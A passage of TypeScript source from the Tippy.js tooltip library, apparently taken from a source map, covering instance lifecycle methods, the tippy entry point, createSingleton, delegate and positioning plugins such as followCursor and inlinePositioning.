{\n if (instance.popperInstance) {\n instance.popperInstance.destroy();\n instance.popperInstance = null;\n }\n }\n\n function mount(): void {\n const {appendTo} = instance.props;\n\n let parentNode: any;\n\n // By default, we'll append the popper to the triggerTargets's parentNode so\n // it's directly after the reference element so the elements inside the\n // tippy can be tabbed to\n // If there are clipping issues, the user can specify a different appendTo\n // and ensure focus management is handled correctly manually\n const node = getCurrentTarget();\n\n if (\n (instance.props.interactive && appendTo === TIPPY_DEFAULT_APPEND_TO) ||\n appendTo === 'parent'\n ) {\n parentNode = node.parentNode;\n } else {\n parentNode = invokeWithArgsOrReturn(appendTo, [node]);\n }\n\n // The popper element needs to exist on the DOM before its position can be\n // updated as Popper needs to read its dimensions\n if (!parentNode.contains(popper)) {\n parentNode.appendChild(popper);\n }\n\n instance.state.isMounted = true;\n\n createPopperInstance();\n\n /* istanbul ignore else */\n if (__DEV__) {\n // Accessibility check\n warnWhen(\n instance.props.interactive &&\n appendTo === defaultProps.appendTo &&\n node.nextElementSibling !== popper,\n [\n 'Interactive tippy element may not be accessible via keyboard',\n 'navigation because it is not directly after the reference element',\n 'in the DOM source order.',\n '\\n\\n',\n 'Using a wrapper <div> or <span> tag around the reference element',\n 'solves this by creating a new parentNode context.',\n '\\n\\n',\n 'Specifying `appendTo: document.body` silences this warning, but it',\n 'assumes you are using a focus management solution to handle',\n 'keyboard navigation.',\n '\\n\\n',\n 'See: https://atomiks.github.io/tippyjs/v6/accessibility/#interactivity',\n ].join(' ')\n );\n }\n }\n\n function getNestedPopperTree(): PopperElement[] {\n return arrayFrom(\n popper.querySelectorAll('[data-__NAMESPACE_PREFIX__-root]')\n );\n }\n\n function scheduleShow(event?: Event): void {\n instance.clearDelayTimeouts();\n\n if (event) {\n invokeHook('onTrigger', [instance, event]);\n }\n\n addDocumentPress();\n\n let delay = getDelay(true);\n const [touchValue, touchDelay] = getNormalizedTouchSettings();\n\n if (currentInput.isTouch && touchValue === 'hold' && touchDelay) {\n delay = touchDelay;\n }\n\n if (delay) {\n showTimeout = setTimeout(() => {\n instance.show();\n }, delay);\n } else {\n instance.show();\n }\n }\n\n function scheduleHide(event: Event): void {\n instance.clearDelayTimeouts();\n\n invokeHook('onUntrigger', [instance, event]);\n\n if (!instance.state.isVisible) {\n removeDocumentPress();\n\n return;\n }\n\n // For interactive tippies, scheduleHide is added to a document.body handler\n // from onMouseLeave so must intercept scheduled hides from mousemove/leave\n // events when trigger contains mouseenter and click, and the tip is\n // currently shown as a result of a click.\n if (\n instance.props.trigger.indexOf('mouseenter') >= 0 &&\n instance.props.trigger.indexOf('click') >= 0 &&\n ['mouseleave', 'mousemove'].indexOf(event.type) >= 0 &&\n isVisibleFromClick\n ) {\n return;\n }\n\n const delay = getDelay(false);\n\n if (delay) {\n hideTimeout = setTimeout(() => {\n if (instance.state.isVisible) {\n instance.hide();\n }\n }, delay);\n } else {\n // Fixes a `transitionend` problem when it fires 1 frame too\n // late sometimes, we don't want hide() to be called.\n scheduleHideAnimationFrame = requestAnimationFrame(() => {\n instance.hide();\n });\n }\n }\n\n // ===========================================================================\n // 🔑 Public methods\n // ===========================================================================\n function enable(): void {\n instance.state.isEnabled = true;\n }\n\n function disable(): void {\n // Disabling the instance should also hide it\n // https://github.com/atomiks/tippy.js-react/issues/106\n instance.hide();\n instance.state.isEnabled = false;\n }\n\n function clearDelayTimeouts(): void {\n clearTimeout(showTimeout);\n clearTimeout(hideTimeout);\n cancelAnimationFrame(scheduleHideAnimationFrame);\n }\n\n function setProps(partialProps: Partial<Props>): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('setProps'));\n }\n\n if (instance.state.isDestroyed) {\n return;\n }\n\n invokeHook('onBeforeUpdate', [instance, partialProps]);\n\n removeListeners();\n\n const prevProps = instance.props;\n const nextProps = evaluateProps(reference, {\n ...prevProps,\n ...removeUndefinedProps(partialProps),\n ignoreAttributes: true,\n });\n\n instance.props = nextProps;\n\n addListeners();\n\n if (prevProps.interactiveDebounce !== nextProps.interactiveDebounce) {\n cleanupInteractiveMouseListeners();\n debouncedOnMouseMove = debounce(\n onMouseMove,\n nextProps.interactiveDebounce\n );\n }\n\n // Ensure stale aria-expanded attributes are removed\n if (prevProps.triggerTarget && !nextProps.triggerTarget) {\n normalizeToArray(prevProps.triggerTarget).forEach((node) => {\n node.removeAttribute('aria-expanded');\n });\n } else if (nextProps.triggerTarget) {\n reference.removeAttribute('aria-expanded');\n }\n\n handleAriaExpandedAttribute();\n handleStyles();\n\n if (onUpdate) {\n onUpdate(prevProps, nextProps);\n }\n\n if (instance.popperInstance) {\n createPopperInstance();\n\n // Fixes an issue with nested tippies if they are all getting re-rendered,\n // and the nested ones get re-rendered first.\n // https://github.com/atomiks/tippyjs-react/issues/177\n // TODO: find a cleaner / more efficient solution(!)\n getNestedPopperTree().forEach((nestedPopper) => {\n // React (and other UI libs likely) requires a rAF wrapper as it flushes\n // its work in one\n requestAnimationFrame(nestedPopper._tippy!.popperInstance!.forceUpdate);\n });\n }\n\n invokeHook('onAfterUpdate', [instance, partialProps]);\n }\n\n function setContent(content: Content): void {\n instance.setProps({content});\n }\n\n function show(): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('show'));\n }\n\n // Early bail-out\n const isAlreadyVisible = instance.state.isVisible;\n const isDestroyed = instance.state.isDestroyed;\n const isDisabled = !instance.state.isEnabled;\n const isTouchAndTouchDisabled =\n currentInput.isTouch && !instance.props.touch;\n const duration = getValueAtIndexOrReturn(\n instance.props.duration,\n 0,\n defaultProps.duration\n );\n\n if (\n isAlreadyVisible ||\n isDestroyed ||\n isDisabled ||\n isTouchAndTouchDisabled\n ) {\n return;\n }\n\n // Normalize `disabled` behavior across browsers.\n // Firefox allows events on disabled elements, but Chrome doesn't.\n // Using a wrapper element (i.e. <span>) is recommended.\n if (getCurrentTarget().hasAttribute('disabled')) {\n return;\n }\n\n invokeHook('onShow', [instance], false);\n if (instance.props.onShow(instance) === false) {\n return;\n }\n\n instance.state.isVisible = true;\n\n if (getIsDefaultRenderFn()) {\n popper.style.visibility = 'visible';\n }\n\n handleStyles();\n addDocumentPress();\n\n if (!instance.state.isMounted) {\n popper.style.transition = 'none';\n }\n\n // If flipping to the opposite side after hiding at least once, the\n // animation will use the wrong placement without resetting the duration\n if (getIsDefaultRenderFn()) {\n const {box, content} = getDefaultTemplateChildren();\n setTransitionDuration([box, content], 0);\n }\n\n onFirstUpdate = (): void => {\n if (!instance.state.isVisible || ignoreOnFirstUpdate) {\n return;\n }\n\n ignoreOnFirstUpdate = true;\n\n // reflow\n void popper.offsetHeight;\n\n popper.style.transition = instance.props.moveTransition;\n\n if (getIsDefaultRenderFn() && instance.props.animation) {\n const {box, content} = getDefaultTemplateChildren();\n setTransitionDuration([box, content], duration);\n setVisibilityState([box, content], 'visible');\n }\n\n handleAriaContentAttribute();\n handleAriaExpandedAttribute();\n\n pushIfUnique(mountedInstances, instance);\n\n // certain modifiers (e.g. `maxSize`) require a second update after the\n // popper has been positioned for the first time\n instance.popperInstance?.forceUpdate();\n\n invokeHook('onMount', [instance]);\n\n if (instance.props.animation && getIsDefaultRenderFn()) {\n onTransitionedIn(duration, () => {\n instance.state.isShown = true;\n invokeHook('onShown', [instance]);\n });\n }\n };\n\n mount();\n }\n\n function hide(): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('hide'));\n }\n\n // Early bail-out\n const isAlreadyHidden = !instance.state.isVisible;\n const isDestroyed = instance.state.isDestroyed;\n const isDisabled = !instance.state.isEnabled;\n const duration = getValueAtIndexOrReturn(\n instance.props.duration,\n 1,\n defaultProps.duration\n );\n\n if (isAlreadyHidden || isDestroyed || isDisabled) {\n return;\n }\n\n invokeHook('onHide', [instance], false);\n if (instance.props.onHide(instance) === false) {\n return;\n }\n\n instance.state.isVisible = false;\n instance.state.isShown = false;\n ignoreOnFirstUpdate = false;\n isVisibleFromClick = false;\n\n if (getIsDefaultRenderFn()) {\n popper.style.visibility = 'hidden';\n }\n\n cleanupInteractiveMouseListeners();\n removeDocumentPress();\n handleStyles(true);\n\n if (getIsDefaultRenderFn()) {\n const {box, content} = getDefaultTemplateChildren();\n\n if (instance.props.animation) {\n setTransitionDuration([box, content], duration);\n setVisibilityState([box, content], 'hidden');\n }\n }\n\n handleAriaContentAttribute();\n handleAriaExpandedAttribute();\n\n if (instance.props.animation) {\n if (getIsDefaultRenderFn()) {\n onTransitionedOut(duration, instance.unmount);\n }\n } else {\n instance.unmount();\n }\n }\n\n function hideWithInteractivity(event: MouseEvent): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(\n instance.state.isDestroyed,\n createMemoryLeakWarning('hideWithInteractivity')\n );\n }\n\n getDocument().addEventListener('mousemove', debouncedOnMouseMove);\n pushIfUnique(mouseMoveListeners, debouncedOnMouseMove);\n debouncedOnMouseMove(event);\n }\n\n function unmount(): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('unmount'));\n }\n\n if (instance.state.isVisible) {\n instance.hide();\n }\n\n if (!instance.state.isMounted) {\n return;\n }\n\n destroyPopperInstance();\n\n // If a popper is not interactive, it will be appended outside the popper\n // tree by default. This seems mainly for interactive tippies, but we should\n // find a workaround if possible\n getNestedPopperTree().forEach((nestedPopper) => {\n nestedPopper._tippy!.unmount();\n });\n\n if (popper.parentNode) {\n popper.parentNode.removeChild(popper);\n }\n\n mountedInstances = mountedInstances.filter((i) => i !== instance);\n\n instance.state.isMounted = false;\n invokeHook('onHidden', [instance]);\n }\n\n function destroy(): void {\n /* istanbul ignore else */\n if (__DEV__) {\n warnWhen(instance.state.isDestroyed, createMemoryLeakWarning('destroy'));\n }\n\n if (instance.state.isDestroyed) {\n return;\n }\n\n instance.clearDelayTimeouts();\n instance.unmount();\n\n removeListeners();\n\n delete reference._tippy;\n\n instance.state.isDestroyed = true;\n\n invokeHook('onDestroy', [instance]);\n }\n}\n","import bindGlobalEventListeners, {\n currentInput,\n} from './bindGlobalEventListeners';\nimport createTippy, {mountedInstances} from './createTippy';\nimport {getArrayOfElements, isElement, isReferenceElement} from './dom-utils';\nimport {defaultProps, setDefaultProps, validateProps} from './props';\nimport {HideAll, HideAllOptions, Instance, Props, Targets} from './types';\nimport {validateTargets, warnWhen} from './validation';\n\nfunction tippy(\n targets: Targets,\n optionalProps: Partial<Props> = {}\n): Instance | Instance[] {\n const plugins = defaultProps.plugins.concat(optionalProps.plugins || []);\n\n /* istanbul ignore else */\n if (__DEV__) {\n validateTargets(targets);\n validateProps(optionalProps, plugins);\n }\n\n bindGlobalEventListeners();\n\n const passedProps: Partial<Props> = {...optionalProps, plugins};\n\n const elements = getArrayOfElements(targets);\n\n /* istanbul ignore else */\n if (__DEV__) {\n const isSingleContentElement = isElement(passedProps.content);\n const isMoreThanOneReferenceElement = elements.length > 1;\n warnWhen(\n isSingleContentElement && isMoreThanOneReferenceElement,\n [\n 'tippy() was passed an Element as the `content` prop, but more than',\n 'one tippy instance was created by this invocation. This means the',\n 'content element will only be appended to the last tippy instance.',\n '\\n\\n',\n 'Instead, pass the .innerHTML of the element, or use a function that',\n 'returns a cloned version of the element instead.',\n '\\n\\n',\n '1) content: element.innerHTML\\n',\n '2) content: () => element.cloneNode(true)',\n ].join(' ')\n );\n }\n\n const instances = elements.reduce<Instance[]>(\n (acc, reference): Instance[] => {\n const instance = reference && createTippy(reference, passedProps);\n\n if (instance) {\n acc.push(instance);\n }\n\n return acc;\n },\n []\n );\n\n return isElement(targets) ? instances[0] : instances;\n}\n\ntippy.defaultProps = defaultProps;\ntippy.setDefaultProps = setDefaultProps;\ntippy.currentInput = currentInput;\n\nexport default tippy;\n\nexport const hideAll: HideAll = ({\n exclude: excludedReferenceOrInstance,\n duration,\n}: HideAllOptions = {}) => {\n mountedInstances.forEach((instance) => {\n let isExcluded = false;\n\n if (excludedReferenceOrInstance) {\n isExcluded = isReferenceElement(excludedReferenceOrInstance)\n ? instance.reference === excludedReferenceOrInstance\n : instance.popper === (excludedReferenceOrInstance as Instance).popper;\n }\n\n if (!isExcluded) {\n const originalDuration = instance.props.duration;\n\n instance.setProps({duration});\n instance.hide();\n\n if (!instance.state.isDestroyed) {\n instance.setProps({duration: originalDuration});\n }\n }\n });\n};\n","import tippy from '..';\nimport {div} from '../dom-utils';\nimport {\n CreateSingleton,\n Plugin,\n CreateSingletonProps,\n ReferenceElement,\n CreateSingletonInstance,\n Instance,\n Props,\n} from '../types';\nimport {normalizeToArray, removeProperties} from '../utils';\nimport {errorWhen} from '../validation';\nimport {applyStyles, Modifier} from '@popperjs/core';\n\n// The default `applyStyles` modifier has a cleanup function that gets called\n// every time the popper is destroyed (i.e. a new target), removing the styles\n// and causing transitions to break for singletons when the console is open, but\n// most notably for non-transform styles being used, `gpuAcceleration: false`.\nconst applyStylesModifier: Modifier<'applyStyles', Record<string, unknown>> = {\n ...applyStyles,\n effect({state}) {\n const initialStyles = {\n popper: {\n position: state.options.strategy,\n left: '0',\n top: '0',\n margin: '0',\n },\n arrow: {\n position: 'absolute',\n },\n reference: {},\n };\n\n Object.assign(state.elements.popper.style, initialStyles.popper);\n state.styles = initialStyles;\n\n if (state.elements.arrow) {\n Object.assign(state.elements.arrow.style, initialStyles.arrow);\n }\n\n // intentionally return no cleanup function\n // return () => { ... }\n },\n};\n\nconst createSingleton: CreateSingleton = (\n tippyInstances,\n optionalProps = {}\n) => {\n /* istanbul ignore else */\n if (__DEV__) {\n errorWhen(\n !Array.isArray(tippyInstances),\n [\n 'The first argument passed to createSingleton() must be an array of',\n 'tippy instances. The passed value was',\n String(tippyInstances),\n ].join(' ')\n );\n }\n\n let individualInstances = tippyInstances;\n let references: Array<ReferenceElement> = [];\n let triggerTargets: Array<Element> = [];\n let currentTarget: Element | null;\n let overrides = optionalProps.overrides;\n let interceptSetPropsCleanups: Array<() => void> = [];\n let shownOnCreate = false;\n\n function setTriggerTargets(): void {\n triggerTargets = individualInstances\n .map((instance) =>\n normalizeToArray(instance.props.triggerTarget || instance.reference)\n )\n .reduce((acc, item) => acc.concat(item), []);\n }\n\n function setReferences(): void {\n references = individualInstances.map((instance) => instance.reference);\n }\n\n function enableInstances(isEnabled: boolean): void {\n individualInstances.forEach((instance) => {\n if (isEnabled) {\n instance.enable();\n } else {\n instance.disable();\n }\n });\n }\n\n function interceptSetProps(singleton: Instance): Array<() => void> {\n return individualInstances.map((instance) => {\n const originalSetProps = instance.setProps;\n\n instance.setProps = (props): void => {\n originalSetProps(props);\n\n if (instance.reference === currentTarget) {\n singleton.setProps(props);\n }\n };\n\n return (): void => {\n instance.setProps = originalSetProps;\n };\n });\n }\n\n // have to pass singleton, as it maybe undefined on first call\n function prepareInstance(\n singleton: Instance,\n target: ReferenceElement\n ): void {\n const index = triggerTargets.indexOf(target);\n\n // bail-out\n if (target === currentTarget) {\n return;\n }\n\n currentTarget = target;\n\n const overrideProps: Partial<Props> = (overrides || [])\n .concat('content')\n .reduce((acc, prop) => {\n (acc as any)[prop] = individualInstances[index].props[prop];\n return acc;\n }, {});\n\n singleton.setProps({\n ...overrideProps,\n getReferenceClientRect:\n typeof overrideProps.getReferenceClientRect === 'function'\n ? overrideProps.getReferenceClientRect\n : (): ClientRect => references[index]?.getBoundingClientRect(),\n });\n }\n\n enableInstances(false);\n setReferences();\n setTriggerTargets();\n\n const plugin: Plugin = {\n fn() {\n return {\n onDestroy(): void {\n enableInstances(true);\n },\n onHidden(): void {\n currentTarget = null;\n },\n onClickOutside(instance): void {\n if (instance.props.showOnCreate && !shownOnCreate) {\n shownOnCreate = true;\n currentTarget = null;\n }\n },\n onShow(instance): void {\n if (instance.props.showOnCreate && !shownOnCreate) {\n shownOnCreate = true;\n prepareInstance(instance, references[0]);\n }\n },\n onTrigger(instance, event): void {\n prepareInstance(instance, event.currentTarget as Element);\n },\n };\n },\n };\n\n const singleton = tippy(div(), {\n ...removeProperties(optionalProps, ['overrides']),\n plugins: [plugin, ...(optionalProps.plugins || [])],\n triggerTarget: triggerTargets,\n popperOptions: {\n ...optionalProps.popperOptions,\n modifiers: [\n ...(optionalProps.popperOptions?.modifiers || []),\n applyStylesModifier,\n ],\n },\n }) as CreateSingletonInstance<CreateSingletonProps>;\n\n const originalShow = singleton.show;\n\n singleton.show = (target?: ReferenceElement | Instance | number): void => {\n originalShow();\n\n // first time, showOnCreate or programmatic call with no params\n // default to showing first instance\n if (!currentTarget && target == null) {\n return prepareInstance(singleton, references[0]);\n }\n\n // triggered from event (do nothing as prepareInstance already called by onTrigger)\n // programmatic call with no params when already visible (do nothing again)\n if (currentTarget && target == null) {\n return;\n }\n\n // target is index of instance\n if (typeof target === 'number') {\n return (\n references[target] && prepareInstance(singleton, references[target])\n );\n }\n\n // target is a child tippy instance\n if (individualInstances.indexOf(target as Instance) >= 0) {\n const ref = (target as Instance).reference;\n return prepareInstance(singleton, ref);\n }\n\n // target is a ReferenceElement\n if (references.indexOf(target as ReferenceElement) >= 0) {\n return prepareInstance(singleton, target as ReferenceElement);\n }\n };\n\n singleton.showNext = (): void => {\n const first = references[0];\n if (!currentTarget) {\n return singleton.show(0);\n }\n const index = references.indexOf(currentTarget);\n singleton.show(references[index + 1] || first);\n };\n\n singleton.showPrevious = (): void => {\n const last = references[references.length - 1];\n if (!currentTarget) {\n return singleton.show(last);\n }\n const index = references.indexOf(currentTarget);\n const target = references[index - 1] || last;\n singleton.show(target);\n };\n\n const originalSetProps = singleton.setProps;\n\n singleton.setProps = (props): void => {\n overrides = props.overrides || overrides;\n originalSetProps(props);\n };\n\n singleton.setInstances = (nextInstances): void => {\n enableInstances(true);\n interceptSetPropsCleanups.forEach((fn) => fn());\n\n individualInstances = nextInstances;\n\n enableInstances(false);\n setReferences();\n setTriggerTargets();\n interceptSetPropsCleanups = interceptSetProps(singleton);\n\n singleton.setProps({triggerTarget: triggerTargets});\n };\n\n interceptSetPropsCleanups = interceptSetProps(singleton);\n\n return singleton;\n};\n\nexport default createSingleton;\n","import tippy from '..';\nimport {TOUCH_OPTIONS} from '../constants';\nimport {defaultProps} from '../props';\nimport {Instance, Props, Targets} from '../types';\nimport {ListenerObject} from '../types-internal';\nimport {normalizeToArray, removeProperties} from '../utils';\nimport {errorWhen} from '../validation';\n\nconst BUBBLING_EVENTS_MAP = {\n mouseover: 'mouseenter',\n focusin: 'focus',\n click: 'click',\n};\n\n/**\n * Creates a delegate instance that controls the creation of tippy instances\n * for child elements (`target` CSS selector).\n */\nfunction delegate(\n targets: Targets,\n props: Partial<Props> & {target: string}\n): Instance | Instance[] {\n /* istanbul ignore else */\n if (__DEV__) {\n errorWhen(\n !(props && props.target),\n [\n 'You must specity a `target` prop indicating a CSS selector string matching',\n 'the target elements that should receive a tippy.',\n ].join(' ')\n );\n }\n\n let listeners: ListenerObject[] = [];\n let childTippyInstances: Instance[] = [];\n let disabled = false;\n\n const {target} = props;\n\n const nativeProps = removeProperties(props, ['target']);\n const parentProps = {...nativeProps, trigger: 'manual', touch: false};\n const childProps = {\n touch: defaultProps.touch,\n ...nativeProps,\n showOnCreate: true,\n };\n\n const returnValue = tippy(targets, parentProps);\n const normalizedReturnValue = normalizeToArray(returnValue);\n\n function onTrigger(event: Event): void {\n if (!event.target || disabled) {\n return;\n }\n\n const targetNode = (event.target as Element).closest(target);\n\n if (!targetNode) {\n return;\n }\n\n // Get relevant trigger with fallbacks:\n // 1. Check `data-tippy-trigger` attribute on target node\n // 2. Fallback to `trigger` passed to `delegate()`\n // 3. Fallback to `defaultProps.trigger`\n const trigger =\n targetNode.getAttribute('data-tippy-trigger') ||\n props.trigger ||\n defaultProps.trigger;\n\n // @ts-ignore\n if (targetNode._tippy) {\n return;\n }\n\n if (event.type === 'touchstart' && typeof childProps.touch === 'boolean') {\n return;\n }\n\n if (\n event.type !== 'touchstart' &&\n trigger.indexOf((BUBBLING_EVENTS_MAP as any)[event.type]) < 0\n ) {\n return;\n }\n\n const instance = tippy(targetNode, childProps);\n\n if (instance) {\n childTippyInstances = childTippyInstances.concat(instance);\n }\n }\n\n function on(\n node: Element,\n eventType: string,\n handler: EventListener,\n options: boolean | Record<string, unknown> = false\n ): void {\n node.addEventListener(eventType, handler, options);\n listeners.push({node, eventType, handler, options});\n }\n\n function addEventListeners(instance: Instance): void {\n const {reference} = instance;\n\n on(reference, 'touchstart', onTrigger, TOUCH_OPTIONS);\n on(reference, 'mouseover', onTrigger);\n on(reference, 'focusin', onTrigger);\n on(reference, 'click', onTrigger);\n }\n\n function removeEventListeners(): void {\n listeners.forEach(({node, eventType, handler, options}: ListenerObject) => {\n node.removeEventListener(eventType, handler, options);\n });\n listeners = [];\n }\n\n function applyMutations(instance: Instance): void {\n const originalDestroy = instance.destroy;\n const originalEnable = instance.enable;\n const originalDisable = instance.disable;\n\n instance.destroy = (shouldDestroyChildInstances = true): void => {\n if (shouldDestroyChildInstances) {\n childTippyInstances.forEach((instance) => {\n instance.destroy();\n });\n }\n\n childTippyInstances = [];\n\n removeEventListeners();\n originalDestroy();\n };\n\n instance.enable = (): void => {\n originalEnable();\n childTippyInstances.forEach((instance) => instance.enable());\n disabled = false;\n };\n\n instance.disable = (): void => {\n originalDisable();\n childTippyInstances.forEach((instance) => instance.disable());\n disabled = true;\n };\n\n addEventListeners(instance);\n }\n\n normalizedReturnValue.forEach(applyMutations);\n\n return returnValue;\n}\n\nexport default delegate;\n","import {BACKDROP_CLASS} from '../constants';\nimport {div, setVisibilityState} from '../dom-utils';\nimport {getChildren} from '../template';\nimport {AnimateFill} from '../types';\nimport {errorWhen} from '../validation';\n\nconst animateFill: AnimateFill = {\n name: 'animateFill',\n defaultValue: false,\n fn(instance) {\n // @ts-ignore\n if (!instance.props.render?.$$tippy) {\n if (__DEV__) {\n errorWhen(\n instance.props.animateFill,\n 'The `animateFill` plugin requires the default render function.'\n );\n }\n\n return {};\n }\n\n const {box, content} = getChildren(instance.popper);\n\n const backdrop = instance.props.animateFill\n ? createBackdropElement()\n : null;\n\n return {\n onCreate(): void {\n if (backdrop) {\n box.insertBefore(backdrop, box.firstElementChild!);\n box.setAttribute('data-animatefill', '');\n box.style.overflow = 'hidden';\n\n instance.setProps({arrow: false, animation: 'shift-away'});\n }\n },\n onMount(): void {\n if (backdrop) {\n const {transitionDuration} = box.style;\n const duration = Number(transitionDuration.replace('ms', ''));\n\n // The content should fade in after the backdrop has mostly filled the\n // tooltip element. `clip-path` is the other alternative but is not\n // well-supported and is buggy on some devices.\n content.style.transitionDelay = `${Math.round(duration / 10)}ms`;\n\n backdrop.style.transitionDuration = transitionDuration;\n setVisibilityState([backdrop], 'visible');\n }\n },\n onShow(): void {\n if (backdrop) {\n backdrop.style.transitionDuration = '0ms';\n }\n },\n onHide(): void {\n if (backdrop) {\n setVisibilityState([backdrop], 'hidden');\n }\n },\n };\n },\n};\n\nexport default animateFill;\n\nfunction createBackdropElement(): HTMLDivElement {\n const backdrop = div();\n backdrop.className = BACKDROP_CLASS;\n setVisibilityState([backdrop], 'hidden');\n return backdrop;\n}\n","import {getOwnerDocument, isMouseEvent} from '../dom-utils';\nimport {FollowCursor, Instance} from '../types';\n\nlet mouseCoords = {clientX: 0, clientY: 0};\nlet activeInstances: Array<{instance: Instance; doc: Document}> = [];\n\nfunction storeMouseCoords({clientX, clientY}: MouseEvent): void {\n mouseCoords = {clientX, clientY};\n}\n\nfunction addMouseCoordsListener(doc: Document): void {\n doc.addEventListener('mousemove', storeMouseCoords);\n}\n\nfunction removeMouseCoordsListener(doc: Document): void {\n doc.removeEventListener('mousemove', storeMouseCoords);\n}\n\nconst followCursor: FollowCursor = {\n name: 'followCursor',\n defaultValue: false,\n fn(instance) {\n const reference = instance.reference;\n const doc = getOwnerDocument(instance.props.triggerTarget || reference);\n\n let isInternalUpdate = false;\n let wasFocusEvent = false;\n let isUnmounted = true;\n let prevProps = instance.props;\n\n function getIsInitialBehavior(): boolean {\n return (\n instance.props.followCursor === 'initial' && instance.state.isVisible\n );\n }\n\n function addListener(): void {\n doc.addEventListener('mousemove', onMouseMove);\n }\n\n function removeListener(): void {\n doc.removeEventListener('mousemove', onMouseMove);\n }\n\n function unsetGetReferenceClientRect(): void {\n isInternalUpdate = true;\n instance.setProps({getReferenceClientRect: null});\n isInternalUpdate = false;\n }\n\n function onMouseMove(event: MouseEvent): void {\n // If the instance is interactive, avoid updating the position unless it's\n // over the reference element\n const isCursorOverReference = event.target\n ? reference.contains(event.target as Node)\n : true;\n const {followCursor} = instance.props;\n const {clientX, clientY} = event;\n\n const rect = reference.getBoundingClientRect();\n const relativeX = clientX - rect.left;\n const relativeY = clientY - rect.top;\n\n if (isCursorOverReference || !instance.props.interactive) {\n instance.setProps({\n // @ts-ignore - unneeded DOMRect properties\n getReferenceClientRect() {\n const rect = reference.getBoundingClientRect();\n\n let x = clientX;\n let y = clientY;\n\n if (followCursor === 'initial') {\n x = rect.left + relativeX;\n y = rect.top + relativeY;\n }\n\n const top = followCursor === 'horizontal' ? rect.top : y;\n const right = followCursor === 'vertical' ? rect.right : x;\n const bottom = followCursor === 'horizontal' ? rect.bottom : y;\n const left = followCursor === 'vertical' ? rect.left : x;\n\n return {\n width: right - left,\n height: bottom - top,\n top,\n right,\n bottom,\n left,\n };\n },\n });\n }\n }\n\n function create(): void {\n if (instance.props.followCursor) {\n activeInstances.push({instance, doc});\n addMouseCoordsListener(doc);\n }\n }\n\n function destroy(): void {\n activeInstances = activeInstances.filter(\n (data) => data.instance !== instance\n );\n\n if (activeInstances.filter((data) => data.doc === doc).length === 0) {\n removeMouseCoordsListener(doc);\n }\n }\n\n return {\n onCreate: create,\n onDestroy: destroy,\n onBeforeUpdate(): void {\n prevProps = instance.props;\n },\n onAfterUpdate(_, {followCursor}): void {\n if (isInternalUpdate) {\n return;\n }\n\n if (\n followCursor !== undefined &&\n prevProps.followCursor !== followCursor\n ) {\n destroy();\n\n if (followCursor) {\n create();\n\n if (\n instance.state.isMounted &&\n !wasFocusEvent &&\n !getIsInitialBehavior()\n ) {\n addListener();\n }\n } else {\n removeListener();\n unsetGetReferenceClientRect();\n }\n }\n },\n onMount(): void {\n if (instance.props.followCursor && !wasFocusEvent) {\n if (isUnmounted) {\n onMouseMove(mouseCoords as MouseEvent);\n isUnmounted = false;\n }\n\n if (!getIsInitialBehavior()) {\n addListener();\n }\n }\n },\n onTrigger(_, event): void {\n if (isMouseEvent(event)) {\n mouseCoords = {clientX: event.clientX, clientY: event.clientY};\n }\n wasFocusEvent = event.type === 'focus';\n },\n onHidden(): void {\n if (instance.props.followCursor) {\n unsetGetReferenceClientRect();\n removeListener();\n isUnmounted = true;\n }\n },\n };\n },\n};\n\nexport default followCursor;\n","import {Modifier, Placement} from '@popperjs/core';\nimport {isMouseEvent} from '../dom-utils';\nimport {BasePlacement, InlinePositioning, Props} from '../types';\nimport {arrayFrom, getBasePlacement} from '../utils';\n\nfunction getProps(props: Props, modifier: Modifier<any, any>): Partial<Props> {\n return {\n popperOptions: {\n ...props.popperOptions,\n modifiers: [\n ...(props.popperOptions?.modifiers || []).filter(\n ({name}) => name !== modifier.name\n ),\n modifier,\n ],\n },\n };\n}\n\nconst inlinePositioning: InlinePositioning = {\n name: 'inlinePositioning',\n defaultValue: false,\n fn(instance) {\n const {reference} = instance;\n\n function isEnabled(): boolean {\n return !!instance.props.inlinePositioning;\n }\n\n let placement: Placement;\n let cursorRectIndex = -1;\n let isInternalUpdate = false;\n let triedPlacements: Array<string> = [];\n\n const modifier: Modifier<\n 'tippyInlinePositioning',\n Record<string, unknown>\n > = {\n name: 'tippyInlinePositioning',\n enabled: true,\n phase: 'afterWrite',\n fn({state}) {\n if (isEnabled()) {\n if (triedPlacements.indexOf(state.placement) !== -1) {\n triedPlacements = [];\n }\n\n if (\n placement !== state.placement &&\n triedPlacements.indexOf(state.placement) === -1\n ) {\n triedPlacements.push(state.placement);\n instance.setProps({\n // @ts-ignore - unneeded DOMRect properties\n getReferenceClientRect: () =>\n getReferenceClientRect(state.placement),\n });\n }\n\n placement = state.placement;\n }\n },\n };\n\n function getReferenceClientRect(placement: Placement): Partial<DOMRect> {\n return getInlineBoundingClientRect(\n getBasePlacement(placement),\n reference.getBoundingClientRect(),\n arrayFrom(reference.getClientRects()),\n cursorRectIndex\n );\n }\n\n function setInternalProps(partialProps: Partial<Props>): void {\n isInternalUpdate = true;\n instance.setProps(partialProps);\n isInternalUpdate = false;\n }\n\n function addModifier(): void {\n if (!isInternalUpdate) {\n setInternalProps(getProps(instance.props, modifier));\n }\n }\n\n return {\n onCreate: addModifier,\n onAfterUpdate: addModifier,\n onTrigger(_, event): void {\n if (isMouseEvent(event)) {\n const rects = arrayFrom(instance.reference.getClientRects());\n const cursorRect = rects.find(\n (rect) =>\n rect.left - 2 <= event.clientX &&\n rect.right + 2 >= event.clientX &&\n rect.top - 2 <= event.clientY &&\n rect.bottom + 2 >= event.clientY\n );\n const index = rects.indexOf(cursorRect);\n cursorRectIndex = index > -1 ? index : cursorRectIndex;\n }\n },\n onHidden(): void {\n cursorRectIndex = -1;\n },\n };\n },\n};\n\nexport default inlinePositioning;\n\nexport function getInlineBoundingClientRect(\n currentBasePlacement: BasePlacement | null,\n boundingRect: DOMRect,\n clientRects: DOMRect[],\n cursorRectIndex: number\n): {\n top: number;\n bottom: number;\n left: number;\n right: number;\n width: number;\n height: number;\n} {\n // Not an inline element, or placement is not yet known\n if (clientRects.length < 2 || currentBasePlacement === null) {\n return boundingRect;\n }\n\n // There are two rects and they are disjoined\n if (\n clientRects.length === 